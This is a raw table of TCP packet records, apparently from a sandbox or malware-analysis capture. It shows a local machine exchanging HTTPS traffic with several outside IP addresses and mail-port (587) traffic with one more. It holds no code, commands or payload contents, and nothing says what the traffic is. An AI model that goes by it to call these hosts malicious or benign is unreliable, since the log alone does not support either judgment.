Jan 15, 2025 03:37:07.612091064 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.612091064 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.612103939 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.612165928 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.614243984 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.614439011 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.614464998 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.615603924 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.616066933 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.616231918 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.616245985 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.640480995 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:07.640539885 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:07.655230999 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.659329891 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.670386076 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.676781893 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:07.676800966 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:07.676815987 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:07.677002907 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:07.685389042 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:07.685666084 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:07.690161943 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:07.722673893 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.729829073 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.729909897 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.730408907 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.730998993 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.731096029 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.731435061 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.775418997 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.781394005 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.782638073 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.785450935 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.785471916 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.786003113 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.790383101 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.790472984 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.791652918 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.835357904 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.897515059 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.897573948 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.897595882 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.897635937 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.897655964 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.897654057 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.897675037 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.897726059 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.897768021 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.897768974 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.897768974 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.897805929 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.899707079 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.899734020 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.899744034 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.899764061 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.899837971 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.899841070 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.899889946 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.899894953 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.899945021 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.899956942 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.899972916 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.900022030 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.903925896 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.909203053 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.909210920 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.912575960 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.912585020 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.912765026 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.912849903 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.913081884 CET	49778	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.913096905 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.913170099 CET	49778	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.913633108 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.913800001 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.914401054 CET	49778	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.914408922 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.914700031 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.914705038 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.920552015 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.920598030 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.920679092 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.920700073 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.921101093 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.954121113 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.964212894 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.964282990 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.964528084 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.964528084 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.964559078 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.965661049 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.998929024 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.998984098 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.999074936 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.999145985 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.999186993 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.999258041 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.007055044 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.007113934 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.007154942 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.007177114 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.007195950 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.007224083 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008533001 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008594036 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008620024 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008673906 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008702993 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008729935 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008750916 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008785009 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008785009 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008785009 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008785009 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008816957 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008837938 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008872032 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008878946 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008884907 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.008903980 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008934021 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.008956909 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.011691093 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:08.028143883 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.028204918 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.028399944 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.028424025 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.028439045 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.031420946 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.032185078 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.032426119 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.032433987 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.032510042 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.032989979 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.041042089 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.041110992 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.041137934 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.041172028 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.041198015 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.041220903 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.041268110 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.041295052 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.041315079 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.041393042 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.041403055 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.041434050 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.049930096 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.050029039 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.050041914 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.050087929 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.050292015 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.055718899 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:08.075377941 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.094408989 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.123682976 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.123725891 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.123760939 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.123790979 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.123861074 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.123887062 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.123905897 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.123934031 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.123963118 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.123985052 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.124016047 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.124114037 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.124185085 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.124196053 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.124247074 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.124358892 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.124419928 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.184636116 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.184694052 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.184722900 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.184742928 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.184762001 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.184773922 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.184788942 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.184847116 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.184868097 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.184904099 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.184912920 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.184928894 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.210994959 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.211054087 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.211060047 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.211111069 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.211138010 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.211205959 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.225474119 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.225500107 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.226325989 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.228200912 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:08.228235960 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:08.229541063 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.229662895 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.230694056 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.230889082 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.231147051 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.231154919 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.232177973 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:08.237071991 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:08.239701986 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.239715099 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.240164995 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.240200996 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.240276098 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.241017103 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.241034985 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.244756937 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.244827032 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.245076895 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.245134115 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.245239019 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.245655060 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.245692968 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.247726917 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.247736931 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.248229980 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.248279095 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.249185085 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.250668049 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.250696898 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.250869036 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.250885010 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.251219988 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.251240015 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.251382113 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.252039909 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.252068043 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.282044888 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.459083080 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.459147930 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.459168911 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.459187031 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.459225893 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.459244013 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.459343910 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.459343910 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.459343910 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.459343910 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.459425926 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.459501982 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.485543966 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.485603094 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.485753059 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.485754013 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.485824108 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.485889912 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.506753922 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.506997108 CET	49778	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.507008076 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.507471085 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.507765055 CET	49778	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.507841110 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.507901907 CET	49778	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.549566031 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.549634933 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.549803972 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.549803972 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.549873114 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.549932957 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.551348925 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.559541941 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:08.561465979 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:08.566339970 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:08.575207949 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.575282097 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.575424910 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.575426102 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.575493097 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.575643063 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.576940060 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.576983929 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.577028036 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.577042103 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.577089071 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.577111006 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.578696966 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.578742981 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.578775883 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.578787088 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.578826904 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.578855991 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.615098000 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.615299940 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.615319014 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.615384102 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.615458965 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.615631104 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.615703106 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.616019964 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.616050005 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.616594076 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.616678953 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.616854906 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.617773056 CET	49783	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.617810011 CET	443	49783	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.733511925 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.733573914 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.733639002 CET	49778	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.735238075 CET	49778	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.735244036 CET	443	49778	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.833796024 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.834392071 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:08.834482908 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:08.834577084 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:08.834862947 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.834933996 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.834935904 CET	49784	443	192.168.2.4	90.84.161.20
Jan 15, 2025 03:37:08.834975958 CET	443	49784	90.84.161.20	192.168.2.4
Jan 15, 2025 03:37:08.835459948 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.836364985 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.836460114 CET	443	49780	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.836549997 CET	49780	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.836837053 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.837014914 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.837033033 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.840575933 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.840662956 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.840935946 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.841026068 CET	49782	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.841037989 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.841154099 CET	443	49782	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.842900991 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.843149900 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.843170881 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.843652010 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.844078064 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.844155073 CET	49779	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.844168901 CET	443	49779	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.872363091 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.872709990 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.872740030 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.874147892 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.874234915 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.874447107 CET	49781	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:08.874533892 CET	443	49781	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:08.874547005 CET	49781	443	192.168.2.4	45.63.57.89
